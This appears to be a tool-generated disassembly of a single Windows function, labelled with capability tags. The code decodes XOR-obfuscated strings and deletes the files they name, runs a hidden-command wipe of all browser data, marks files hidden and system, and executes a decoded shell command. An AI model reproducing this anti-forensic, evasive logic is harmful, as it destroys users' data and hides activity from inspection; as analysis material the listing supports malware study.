Function at 0x14000bbc4
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete file
Encode data using xor
Execute command
Set console window title
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x748]
sub rsp, 0x830
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rbp + 0x728], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, str.color_4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x708]
call fcn.14000ed48
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xb
sub r8d, ecx
sub r8d, 0xffffff80
movsxd rdx, r8d
lea rcx, [rbp + 0x480]
call fcn.14000b928
nop
mov rdx, rax
lea rcx, [rbp + 0x708]
call fcn.14000eae4
nop
lea rcx, [rbp + 0x480]
call fcn.14000eb64
lea rcx, [rbp + 0x708]
call fcn.14000f480
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movdqa xmm0, xmmword [str.r1H__e]
movdqu xmmword [rbp + 0x200], xmm0
xor eax, eax
mov byte [rbp + 0x210], al
xor edi, edi
mov ecx, edi
lea esi, [rax + 1]
mov al, byte [rbp + 0x200]
xor byte [rbp + rcx + 0x201], al
add rcx, rsi
cmp rcx, 0xf
jb 0x14000bca6
mov byte [rbp + 0x210], dil
lea rcx, [rbp + 0x201]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x14001dd80]
movdqu xmmword [rbp + 0x188], xmm0
mov dword [rbp + 0x198], 0x777c6b7a
xor eax, eax
mov byte [rbp + 0x19c], al
mov rcx, rdi
mov al, byte [rbp + 0x188]
xor byte [rbp + rcx + 0x189], al
add rcx, rsi
cmp rcx, 0x13
jb 0x14000bcf5
mov byte [rbp + 0x19c], dil
lea rcx, [rbp + 0x189]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x14001db50]
movdqu xmmword [rbp + 0xe0], xmm0
mov dword [rbp + 0xf0], 0x5b5e5053
mov dword [rbp + 0xf4], 0x5a114d5a
mov word [rbp + 0xf8], 0x5a47
xor eax, eax
mov byte [rbp + 0xfa], al
mov rcx, rdi
mov al, byte [rbp + 0xe0]
xor byte [rbp + rcx + 0xe1], al
add rcx, rsi
cmp rcx, 0x19
jb 0x14000bd57
mov byte [rbp + 0xfa], dil
lea rcx, [rbp + 0xe1]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x14001dda0]
movdqu xmmword [rbp + 0x60], xmm0
mov dword [rbp + 0x70], 0x3c312638
mov dword [rbp + 0x74], 0x65616434
mov dword [rbp + 0x78], 0x3939317b
xor eax, eax
mov byte [rbp + 0x7c], al
mov rcx, rdi
mov al, byte [rbp + 0x60]
xor byte [rbp + rcx + 0x61], al
add rcx, rsi
cmp rcx, 0x1b
jb 0x14000bdab
mov byte [rbp + 0x7c], dil
lea rcx, [rbp + 0x61]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x14001dbc0]
movdqu xmmword [rbp + 0x100], xmm0
mov dword [rbp + 0x110], 0x7e60747e
mov dword [rbp + 0x114], 0x69237b7f
mov word [rbp + 0x118], 0x6161
xor eax, eax
mov byte [rbp + 0x11a], al
mov rcx, rdi
mov al, byte [rbp + 0x100]
xor byte [rbp + rcx + 0x101], al
add rcx, rsi
cmp rcx, 0x19
jb 0x14000be01
mov byte [rbp + 0x11a], dil
lea rcx, [rbp + 0x101]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x14001dba0]
movdqu xmmword [rbp + 0xa0], xmm0
mov dword [rbp + 0xb0], 0x46696c4a
mov dword [rbp + 0xb4], 0x207e626b
mov dword [rbp + 0xb8], 0x62626a
mov rcx, rdi
mov al, byte [rbp + 0xa0]
xor byte [rbp + rcx + 0xa1], al
add rcx, rsi
cmp rcx, 0x1a
jb 0x14000be5c
mov byte [rbp + 0xbb], dil
lea rcx, [rbp + 0xa1]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x14001dca0]
movdqu xmmword [rbp + 0x2a8], xmm0
movdqa xmm1, xmmword [0x14001dce0]
movdqu xmmword [rbp + 0x2b8], xmm1
mov dword [rbp + 0x2c8], 0xf074d57
mov word [rbp + 0x2cc], reloc.WS2_32.dll_ntohs
mov rcx, rdi
mov al, byte [rbp + 0x2a8]
xor byte [rbp + rcx + 0x2a9], al
add rcx, rsi
cmp rcx, 0x24
jb 0x14000bebc
mov byte [rbp + 0x2cd], dil
lea rcx, [rbp + 0x2a9]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x14001ddc0]
movdqu xmmword [rbp + 0x320], xmm0
movdqa xmm1, xmmword [0x14001dc30]
movdqu xmmword [rbp + 0x330], xmm1
mov word [rbp + 0x340], 0x3e3e
xor eax, eax
mov byte [rbp + 0x342], al
mov rcx, rdi
mov al, byte [rbp + 0x320]
xor byte [rbp + rcx + 0x321], al
add rcx, rsi
cmp rcx, 0x21
jb 0x14000bf1a
mov byte [rbp + 0x342], dil
lea rcx, [rbp + 0x321]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, esi
lea rcx, str.cmd__c_RunDll32.exe_InetCpl.cpl_ClearMyTracksByProcess_255
call qword [sym.imp.KERNEL32.dll_WinExec]
movdqa xmm0, xmmword [str.4dXQUGQ]
movdqu xmmword [rbp + 0x1e8], xmm0
mov word [rbp + 0x1f8], 0x3e1a
xor eax, eax
mov byte [rbp + 0x1fa], al
mov rcx, rdi
mov al, byte [rbp + 0x1e8]
xor byte [rbp + rcx + 0x1e9], al
add rcx, rsi
cmp rcx, 0x11
jb 0x14000bf77
mov byte [rbp + 0x1fa], dil
lea rcx, [rbp + 0x1e9]
call fcn.140001268
movdqa xmm0, xmmword [0x14001db00]
movdqu xmmword [rbp + 0x248], xmm0
mov rcx, rdi
mov al, byte [rbp + 0x248]
xor byte [rbp + rcx + 0x249], al
add rcx, rsi
cmp rcx, 0xe
jb 0x14000bfb3
mov byte [rbp + 0x257], dil
lea rcx, [rbp + 0x249]
call fcn.140001268
call fcn.14000ba24
lea rcx, [rbp + 0x6e8]
call fcn.14000ed48
nop
lea rcx, [rbp + 0x6c8]
call fcn.14000ed48
nop
lea rcx, [rbp + 0x6a8]
call fcn.14000ed48
nop
lea rcx, [rbp + 0x688]
call fcn.14000ed48
nop
lea rcx, [rbp + 0x668]
call fcn.14000ed48
nop
lea rcx, [rbp + 0x648]
call fcn.14000ed48
nop
mov byte [0x140026c78], sil
movdqa xmm0, xmmword [0x14001dc40]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x25283437
mov dword [rbp - 0x2c], 0x362b2230
mov dword [rbp - 0x28], 0x36276a29
mov word [rbp - 0x24], 0x30
mov rcx, rdi
mov al, byte [rbp - 0x40]
xor byte [rbp + rcx - 0x3f], al
add rcx, rsi
cmp rcx, 0x1c
jb 0x14000c061
mov byte [rbp - 0x23], dil
xor r8d, r8d
lea rdx, [rbp - 0x3f]
lea r15, [0x140026978]
mov rcx, r15
call fcn.14000b1b4
lea rax, [rbp + 0x4a0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x6e8]
mov qword [rbp + 0x628], rax
mov qword [rbp + 0x4d8], rdi
lea rdx, [rbp + 0x628]
lea rcx, [rbp + 0x4a0]
call fcn.140012b2c
nop
movdqa xmm0, xmmword [0x14001db20]
movdqu xmmword [rbp + 0x398], xmm0
movdqa xmm1, xmmword [0x14001dae0]
movdqu xmmword [rbp + 0x3a8], xmm1
mov rcx, rdi
mov al, byte [rbp + 0x398]
xor byte [rbp + rcx + 0x399], al
add rcx, rsi
cmp rcx, 0x1e
jb 0x14000c0e3
mov byte [rbp + 0x3b7], dil
lea r9, [rbp + 0x4a0]
lea r8, [rbp + 0x399]
lea rdx, [rbp + 0x470]
mov rcx, r15
call fcn.14000a6c0
mov rcx, qword [rbp + 0x478]
test rcx, rcx
je 0x14000c12e
call fcn.1400014f4
movdqa xmm0, xmmword [0x14001ddb0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x3d302739
mov dword [rsp + 0x54], 0x64606535
mov dword [rsp + 0x58], 0x3838307a
xor eax, eax
mov byte [rsp + 0x5c], al
mov rcx, rdi
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
add rcx, rsi
cmp rcx, 0x1b
jb 0x14000c15d
mov byte [rsp + 0x5c], dil
lea rax, [rsp + 0x41]
mov qword [rbp + 0x3e0], rax
lea rcx, [rsp + 0x41]
or rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp byte [rcx + rax], dil
jne 0x14000c18b
mov qword [rbp + 0x3e8], rax
movaps xmm0, xmmword [rbp + 0x3e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x6e8]
lea rcx, [rsp + 0x30]
call fcn.140011034
movdqa xmm0, xmmword [0x14001dd20]
movdqu xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x50], 0x45485f41
mov dword [rbp + 0x54], 0x1c181d4d
mov dword [rbp + 0x58], 0x40404802
xor eax, eax
mov byte [rbp + 0x5c], al
mov rcx, rdi
mov al, byte [rbp + 0x40]
xor byte [rbp + rcx + 0x41], al
add rcx, rsi
cmp rcx, 0x1b
jb 0x14000c1e3
mov byte [rbp + 0x5c], dil
mov r14d, 6
mov edx, r14d
lea rcx, [rbp + 0x41]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movdqa xmm0, xmmword [0x14001dc90]
movdqu xmmword [rbp + 0x170], xmm0
mov dword [rbp + 0x180], 0x25214e4e
mov word [rbp + 0x184], 0x64
mov rcx, rdi
mov al, byte [rbp + 0x170]
xor byte [rbp + rcx + 0x171], al
add rcx, rsi
cmp rcx, 0x14
jb 0x14000c230
mov byte [rbp + 0x185], dil
lea rcx, [rbp + 0x171]
call fcn.140001268
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x6c8]
mov qword [rbp + 0x620], rax
mov qword [rbp + 0x518], rdi
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x4e0]
call fcn.140012b44
nop
movdqa xmm0, xmmword [0x14001dcd0]
movdqu xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0x30], 0x44184552
mov dword [rbp + 0x34], 0x45445a4e
mov dword [rbp + 0x38], 0x5b531941
mov word [rbp + 0x3c], 0x5b
mov rcx, rdi
mov al, byte [rbp + 0x20]
xor byte [rbp + rcx + 0x21], al
add rcx, rsi
cmp rcx, 0x1c
jb 0x14000c2b9
mov byte [rbp + 0x3d], dil
lea r9, [rbp + 0x4e0]
lea r8, [rbp + 0x21]
lea rdx, [rbp + 0x460]
mov rcx, r15
call fcn.14000a6c0
mov rcx, qword [rbp + 0x468]
test rcx, rcx
je 0x14000c2f8
call fcn.1400014f4
movdqa xmm0, xmmword [0x14001dcf0]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xb15010b
mov dword [rbp - 0xc], 0x1c560e0a
mov word [rbp - 8], 0x1414
xor eax, eax
mov byte [rbp - 6], al
mov rcx, rdi
mov al, byte [rbp - 0x20]
xor byte [rbp + rcx - 0x1f], al
add rcx, rsi
cmp rcx, 0x19
jb 0x14000c321
mov byte [rbp - 6], dil
lea rax, [rbp - 0x1f]
mov qword [rbp + 0x3f0], rax
lea rcx, [rbp - 0x1f]
mov rax, rbx
inc rax
cmp byte [rcx + rax], dil
jne 0x14000c347
mov qword [rbp + 0x3f8], rax
movaps xmm0, xmmword [rbp + 0x3f0]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x6c8]
lea rcx, [rsp + 0x30]
call fcn.140011034
movdqa xmm0, xmmword [0x14001dd60]
movdqu xmmword [rbp + 0x120], xmm0
mov dword [rbp + 0x130], 0x57495d57
mov dword [rbp + 0x134], 0x400a5256
mov word [rbp + 0x138], 0x4848
xor eax, eax
mov byte [rbp + 0x13a], al
mov rcx, rdi
mov al, byte [rbp + 0x120]
xor byte [rbp + rcx + 0x121], al
add rcx, rsi
cmp rcx, 0x19
jb 0x14000c3ad
mov byte [rbp + 0x13a], dil
mov edx, r14d
lea rcx, [rbp + 0x121]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movdqa xmm0, xmmword [0x14001dcc0]
movdqu xmmword [rbp + 0x1b8], xmm0
mov dword [rbp + 0x1c8], 0x78393d
mov rcx, rdi
mov al, byte [rbp + 0x1b8]
xor byte [rbp + rcx + 0x1b9], al
add rcx, rsi
cmp rcx, 0x12
jb 0x14000c3f7
mov byte [rbp + 0x1cb], dil
lea rcx, [rbp + 0x1b9]
call fcn.140001268
lea rax, [rbp + 0x520]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x648]
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x558], rdi
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x520]
call fcn.140012b5c
nop
movdqa xmm0, xmmword [0x14001dc50]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0x177c2136
mov dword [rbp - 0x6c], 0x361b3431
mov dword [rbp - 0x68], 0x377d233f
mov word [rbp - 0x64], 0x3f3f
xor eax, eax
mov byte [rbp - 0x62], al
mov rcx, rdi
mov al, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7f], al
add rcx, rsi
cmp rcx, 0x1d
jb 0x14000c485
mov byte [rbp - 0x62], dil
lea r9, [rbp + 0x520]
lea r8, [rbp - 0x7f]
lea rdx, [rbp + 0x450]
mov rcx, r15
call fcn.14000a6c0
mov rcx, qword [rbp + 0x458]
test rcx, rcx
je 0x14000c4c4
call fcn.1400014f4
movdqa xmm0, xmmword [0x14001dc70]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x27080d2b
mov dword [rsp + 0x74], 0x411f030a
mov dword [rsp + 0x78], 0x3030b
mov rcx, rdi
mov al, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x61], al
add rcx, rsi
cmp rcx, 0x1a
jb 0x14000c4ed
mov byte [rsp + 0x7b], dil
lea rax, [rsp + 0x61]
mov qword [rbp + 0x400], rax
lea rcx, [rsp + 0x61]
mov rax, rbx
inc rax
cmp byte [rcx + rax], dil
jne 0x14000c517
mov qword [rbp + 0x408], rax
movaps xmm0, xmmword [rbp + 0x400]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x648]
lea rcx, [rsp + 0x30]
call fcn.140011034
movdqa xmm0, xmmword [0x14001dcb0]
movdqu xmmword [rbp + 0x80], xmm0
mov dword [rbp + 0x90], 0x446b6e48
mov dword [rbp + 0x94], 0x227c6069
mov dword [rbp + 0x98], 0x606068
mov rcx, rdi
mov al, byte [rbp + 0x80]
xor byte [rbp + rcx + 0x81], al
add rcx, rsi
cmp rcx, 0x1a
jb 0x14000c576
mov byte [rbp + 0x9b], dil
mov edx, r14d
lea rcx, [rbp + 0x81]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movdqa xmm0, xmmword [0x14001db40]
movdqu xmmword [rbp + 0x1a0], xmm0
mov dword [rbp + 0x1b0], 0x2667630c
xor eax, eax
mov byte [rbp + 0x1b4], al
mov rcx, rdi
mov al, byte [rbp + 0x1a0]
xor byte [rbp + rcx + 0x1a1], al
add rcx, rsi
cmp rcx, 0x13
jb 0x14000c5c8
mov byte [rbp + 0x1b4], dil
lea rcx, [rbp + 0x1a1]
call fcn.140001268
lea rax, [rbp + 0x560]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x6a8]
mov qword [rbp + 0x638], rax
mov qword [rbp + 0x598], rdi
lea rdx, [rbp + 0x638]
lea rcx, [rbp + 0x560]
call fcn.140012b74
nop
movdqa xmm0, xmmword [0x14001dd10]
movdqu xmmword [rbp + 0x218], xmm0
movdqa xmm1, xmmword [0x14001dc60]
movdqu xmmword [rbp + 0x228], xmm1
mov dword [rbp + 0x238], 0x3b397722
mov dword [rbp + 0x23c], 0x63636b21
xor eax, eax
mov byte [rbp + 0x240], al
mov rcx, rdi
mov al, byte [rbp + 0x218]
xor byte [rbp + rcx + 0x219], al
add rcx, rsi
cmp rcx, 0x27
jb 0x14000c665
mov byte [rbp + 0x240], dil
lea r9, [rbp + 0x560]
lea r8, [rbp + 0x219]
lea rdx, [rbp + 0x440]
mov rcx, r15
call fcn.14000a6c0
mov rcx, qword [rbp + 0x448]
test rcx, rcx
je 0x14000c6b0
call fcn.1400014f4
movdqa xmm0, xmmword [0x14001dc80]
movdqu xmmword [rbp + 0x258], xmm0
movdqa xmm1, xmmword [0x14001dd00]
movdqu xmmword [rbp + 0x268], xmm1
mov dword [rbp + 0x278], 0x84258
mov word [rbp + 0x27c], di
mov rcx, rdi
mov al, byte [rbp + 0x258]
xor byte [rbp + rcx + 0x259], al
add rcx, rsi
cmp rcx, 0x24
jb 0x14000c6e4
mov byte [rbp + 0x27d], dil
lea rax, [rbp + 0x259]
mov qword [rbp + 0x410], rax
lea rcx, [rbp + 0x259]
mov rax, rbx
inc rax
cmp byte [rcx + rax], dil
jne 0x14000c719
mov qword [rbp + 0x418], rax
movaps xmm0, xmmword [rbp + 0x410]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x6a8]
lea rcx, [rsp + 0x30]
call fcn.140011034
movdqa xmm0, xmmword [0x14001dd70]
movdqu xmmword [rbp + 0x280], xmm0
movdqa xmm1, xmmword [str.ILGFWUQJ_b]
movdqu xmmword [rbp + 0x290], xmm1
mov dword [rbp + 0x2a0], 0x49410b11
mov word [rbp + 0x2a4], 0x49
mov rcx, rdi
mov al, byte [rbp + 0x280]
xor byte [rbp + rcx + 0x281], al
add rcx, rsi
cmp rcx, 0x24
jb 0x14000c77d
mov byte [rbp + 0x2a5], dil
mov edx, r14d
lea rcx, [rbp + 0x281]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movdqa xmm0, xmmword [0x14001dbb0]
movdqu xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], 0x4e21212c
mov word [rbp + 0x154], 0xb4a
xor eax, eax
mov byte [rbp + 0x156], al
mov rcx, rdi
mov al, byte [rbp + 0x140]
xor byte [rbp + rcx + 0x141], al
add rcx, rsi
cmp rcx, 0x15
jb 0x14000c7d8
mov byte [rbp + 0x156], dil
lea rcx, [rbp + 0x141]
call fcn.140001268
lea rax, [rbp + 0x5a0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x688]
mov qword [rbp + 0x630], rax
mov qword [rbp + 0x5d8], rdi
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x5a0]
call fcn.140012b8c
nop
movdqa xmm0, xmmword [str.Dk___7_k_b_]
movdqu xmmword [rbp + 0x2d0], xmm0
movdqa xmm1, xmmword [0x14001dd30]
movdqu xmmword [rbp + 0x2e0], xmm1
mov dword [rbp + 0x2f0], 0x28206a70
mov word [rbp + 0x2f4], 0x28
mov rcx, rdi
mov al, byte [rbp + 0x2d0]
xor byte [rbp + rcx + 0x2d1], al
add rcx, rsi
cmp rcx, 0x24
jb 0x14000c86c
mov byte [rbp + 0x2f5], dil
lea r9, [rbp + 0x5a0]
lea r8, [rbp + 0x2d1]
lea rdx, [rbp + 0x430]
mov rcx, r15
call fcn.14000a6c0
mov rcx, qword [rbp + 0x438]
test rcx, rcx
je 0x14000c8b7
call fcn.1400014f4
movdqa xmm0, xmmword [0x14001dd50]
movdqu xmmword [rbp + 0x2f8], xmm0
movdqa xmm1, xmmword [0x14001dc10]
movdqu xmmword [rbp + 0x308], xmm1
mov word [rbp + 0x318], 0x3b3b
xor eax, eax
mov byte [rbp + 0x31a], al
mov rcx, rdi
mov al, byte [rbp + 0x2f8]
xor byte [rbp + rcx + 0x2f9], al
add rcx, rsi
cmp rcx, 0x21
jb 0x14000c8eb
mov byte [rbp + 0x31a], dil
lea rax, [rbp + 0x2f9]
mov qword [rbp + 0x3c0], rax
lea rcx, [rbp + 0x2f9]
mov rax, rbx
inc rax
cmp byte [rcx + rax], dil
jne 0x14000c920
mov qword [rbp + 0x3c8], rax
movaps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x688]
lea rcx, [rsp + 0x30]
call fcn.140011034
movdqa xmm0, xmmword [0x14001db30]
movdqu xmmword [rbp + 0x348], xmm0
movdqa xmm1, xmmword [0x14001dc00]
movdqu xmmword [rbp + 0x358], xmm1
mov word [rbp + 0x368], 0x3a3a
xor eax, eax
mov byte [rbp + 0x36a], al
mov rcx, rdi
mov al, byte [rbp + 0x348]
xor byte [rbp + rcx + 0x349], al
add rcx, rsi
cmp rcx, 0x21
jb 0x14000c982
mov byte [rbp + 0x36a], dil
mov edx, r14d
lea rcx, [rbp + 0x349]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movdqa xmm0, xmmword [0x14001dbf0]
movdqu xmmword [rbp + 0x158], xmm0
mov dword [rbp + 0x168], 0x442b2b26
mov word [rbp + 0x16c], 0x140
xor eax, eax
mov byte [rbp + 0x16e], al
mov rcx, rdi
mov al, byte [rbp + 0x158]
xor byte [rbp + rcx + 0x159], al
add rcx, rsi
cmp rcx, 0x15
jb 0x14000c9dd
mov byte [rbp + 0x16e], dil
lea rcx, [rbp + 0x159]
call fcn.140001268
lea rdx, [rbp + 0x668]
lea rcx, [rbp + 0x5e0]
call fcn.140011198
mov r9, rax
movdqa xmm0, xmmword [0x14001dd90]
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], 0x51326f78
mov dword [rbp - 0x4c], 0x7e73687c
mov dword [rbp - 0x48], 0x65783375
mov word [rbp - 0x44], 0x78
mov rdx, rdi
mov al, byte [rbp - 0x60]
xor byte [rbp + rdx - 0x5f], al
add rdx, rsi
cmp rdx, 0x1c
jb 0x14000ca47
mov byte [rbp - 0x43], dil
lea r8, [rbp - 0x5f]
lea rdx, [rbp + 0x420]
mov rcx, r15
call fcn.14000a6c0
mov rcx, qword [rbp + 0x428]
test rcx, rcx
je 0x14000ca7f
call fcn.1400014f4
movdqa xmm0, xmmword [0x14001db60]
movdqu xmmword [rbp], xmm0
mov dword [rbp + 0x10], 0x5a5f5152
mov dword [rbp + 0x14], 0x5b104c5b
mov word [rbp + 0x18], 0x5b46
xor eax, eax
mov byte [rbp + 0x1a], al
mov rcx, rdi
mov al, byte [rbp]
xor byte [rbp + rcx + 1], al
add rcx, rsi
cmp rcx, 0x19
jb 0x14000caa8
mov byte [rbp + 0x1a], dil
lea rax, [rbp + 1]
mov qword [rbp + 0x3d0], rax
lea rax, [rbp + 1]
inc rbx
cmp byte [rax + rbx], dil
jne 0x14000cacb
mov qword [rbp + 0x3d8], rbx
movaps xmm0, xmmword [rbp + 0x3d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x668]
lea rcx, [rsp + 0x30]
call fcn.140011034
movdqa xmm0, xmmword [0x14001dbe0]
movdqu xmmword [rbp + 0xc0], xmm0
mov dword [rbp + 0xd0], 0x11141a19
mov dword [rbp + 0xd4], 0x105b0710
mov word [rbp + 0xd8], 0x100d
xor eax, eax
mov byte [rbp + 0xda], al
mov rcx, rdi
mov al, byte [rbp + 0xc0]
xor byte [rbp + rcx + 0xc1], al
add rcx, rsi
cmp rcx, 0x19
jb 0x14000cb31
mov byte [rbp + 0xda], dil
mov edx, r14d
lea rcx, [rbp + 0xc1]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movdqa xmm0, xmmword [0x14001dc20]
movdqu xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x14001dbd0]
movdqu xmmword [rbp + 0x380], xmm1
xor eax, eax
mov byte [rbp + 0x390], al
mov rcx, rdi
mov al, byte [rbp + 0x370]
xor byte [rbp + rcx + 0x371], al
add rcx, rsi
cmp rcx, 0x1f
jb 0x14000cb89
mov byte [rbp + 0x390], dil
lea rcx, [rbp + 0x371]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14001dd40]
movdqu xmmword [rbp + 0x1d0], xmm0
mov dword [rbp + 0x1e0], 0x5f1e1a
mov rcx, rdi
mov al, byte [rbp + 0x1d0]
xor byte [rbp + rcx + 0x1d1], al
add rcx, rsi
cmp rcx, 0x12
jb 0x14000cbd0
mov byte [rbp + 0x1e3], dil
lea rcx, [rbp + 0x1d1]
call fcn.140001268
lea rcx, str.color_02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov cl, 0x55
mov dword [rsp + 0x20], 0x3b3a1155
mov word [rsp + 0x24], 0x7430
xor eax, eax
mov byte [rsp + 0x26], al
mov rax, rdi
xor byte [rsp + rax + 0x21], cl
add rax, rsi
cmp rax, 5
jae 0x14000cc33
mov cl, byte [rsp + 0x20]
jmp 0x14000cc20
mov byte [rsp + 0x26], dil
lea rcx, [rsp + 0x21]
call fcn.140001268
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x648]
call fcn.14000eb64
nop
lea rcx, [rbp + 0x668]
call fcn.14000eb64
nop
lea rcx, [rbp + 0x688]
call fcn.14000eb64
nop
lea rcx, [rbp + 0x6a8]
call fcn.14000eb64
nop
lea rcx, [rbp + 0x6c8]
call fcn.14000eb64
nop
lea rcx, [rbp + 0x6e8]
call fcn.14000eb64
nop
lea rcx, [rbp + 0x708]
call fcn.14000eb64
xor eax, eax
mov rcx, qword [rbp + 0x728]
xor rcx, rsp
call fcn.140019400
lea r11, [rsp + 0x830]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret